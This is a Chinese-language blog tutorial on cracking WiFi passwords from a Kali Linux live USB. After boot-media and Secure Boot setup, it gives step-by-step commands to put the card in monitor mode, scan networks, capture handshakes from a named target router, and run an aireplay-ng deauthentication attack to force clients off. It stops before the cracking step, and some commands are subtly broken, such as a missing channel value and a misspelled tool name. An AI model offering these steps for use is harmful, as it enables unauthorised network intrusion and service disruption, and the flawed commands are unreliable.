Kali Linux破解wifi密碼(無須外置網卡）

2020 年 12 月 21 日
筆記
linux

環境準備： 
  方式一(選擇該方式)：Kali Linux、筆記型電腦一台、U盤(至少8G) 
  方式二：Kali Linux、外置網卡、筆記型電腦一台、VM

特別說明，主要是使用方式一進行破解，如果有外置網卡，那就非常簡單了，直接通過vm外接網卡即可。

註：製作kali啟動鏡像前，U盤裡的數據一定要備份、備份、備份。

1.balenaEtcher安裝

該軟體是用來製作鏡像的工具，也可以使用其它的。不過不推薦，試過其它幾款，還不如這個一鍵製作好用。

2.製作kali啟動鏡像

等待3-5分鐘.註：在製作過程中，會彈出’初始化’的窗口，取消或者關閉就行，不要點擊格式化，否則會讓製作的鏡像白費，需要重新來一次。

完成。

3.開機啟動設置

(1).進入bios介面

自己的電腦型號對應不同按鍵的啟動bios方式不同，常用的筆記型電腦型號的進入bios方式。如下圖所示，其它型號的可自行百度往下看。(如，百度搜索’華碩筆記型電腦進入bios按鍵’）。

(2).設置啟動項的順序

設置U盤啟動項的順序可自行百度，比較簡單，這裡不再敘述。

如果出現‘Secure Boot Violation’等資訊，那麼我們就需要關閉筆記型電腦的保護模式。方法大同小異，這是介面外觀可能不一樣，內容是一樣的。當完成實驗後，要把系統保護改回來。

[1].傳統方式具體操作步驟往下看：

①.進入Bios設定頁面

②.security頁面

進入[Security]頁面(1)，選擇[Secure Boot](2)項目

③.安全啟動功能關閉

選擇[Secure Boot Control]項目(3)，並設定為[Disabled](4)。部分機種可能只有[Secure Boot]而沒有[Secure Boot Control]，則請選擇[Secure Boot]並設定為[Disable]。

④. 保存設定並退出

進入[Save & Exit]頁面(5)，選擇[Save Changes and Exit](6)後並選擇[Yes](7)。

[2].UEFI方式具體操作步驟往下看：

①.進入BIOS設定頁面後，使用快捷鍵[F7]、或是滑鼠點選(1)進入進階模式。

②.進入[Security]頁面，選擇[Secure Boot]項目。

③.安全啟動功能關閉

選擇[Secure Boot Control]項目(4)，並設定為[Disabled](5)。部分機種可能只有[Secure Boot]而沒有[Secure Boot Control]，則請選擇[Secure Boot]並設定為[Disable]。

④.存儲設定並退出

進入[Save & Exit]頁面(6)，選擇[Save Changes and Exit](7)後並選擇[Yes](8)。或者按F10保存

4.啟動kali

注意：這一步一定不能馬虎，一定要快速選擇‘kali live’模式，一定不能選擇’install kali’,也不能長時間不動，否則就等著重裝系統、數據不見等一系列的問題。

5.無線wifi破解實驗

(1).ifconfig

命令ifconfig查看網卡資訊，有wlan0表示網卡能夠用來破解wifi。

root@kali:~# ifconfig

(2).airmon-ng

使用命令airmon-ng start wlan0開啟網卡監聽模式。

root@kali:~# airmon-ng start wlan0

(3).iwconfig

使用iwconfig命令查看網卡資訊， wlan0mon網卡名加了mon則表示’監聽模式’開啟成功。

root@kali:~# iwconfig

(4).airodump-ng掃描

使用命令airodump-ng wlan0mon，開始掃描WiFi，按ctrl+c結束任務。

root@kali:~# airodump-ng wlan0mon

參數	意義
BSSID	wifi的MAC地址
PWR	訊號強弱程度，數值越小訊號越強
DATA	數據量，越大使用的人就越多
CH	信道頻率（頻道）
ESSID	wifi的名稱，中文可能會有亂碼

(5).抓包

接著輸入airodump-ng –bssid BSSID -c 信道頻率 -w 抓包存儲的路徑 wlan0mon。注，–bssid後面跟著的是’BSSID(MAC地址)‘，-c後面跟著的是’CH(信道)‘,-w後面跟著抓到的包保存到哪，最後是網卡資訊’wlan0mon’。

如：我想要破解ESSID為TP-LINK_961A4A的無線wifi,格式為：

root@kali:~# airodump-ng –bssid 38:83:45:96:1A:4A -c -w /opt/catchWiFi wlan0mon

數據包已經正在抓取,等待一會，如果抓取不到數據.接著往下看

另起終端，輸入格式為‘airepaly-ng -0 0 -c STATION(任選其一) -a bssid 網卡名(一般為wlan0mon)’。不過STATION最好選擇手機的熱點，如果不清楚手機的mac地址那麼可以任選其一，選擇手機的好處是可以手動設置斷線，讓其抓取到包。如果運氣不好，那麼就試四個把。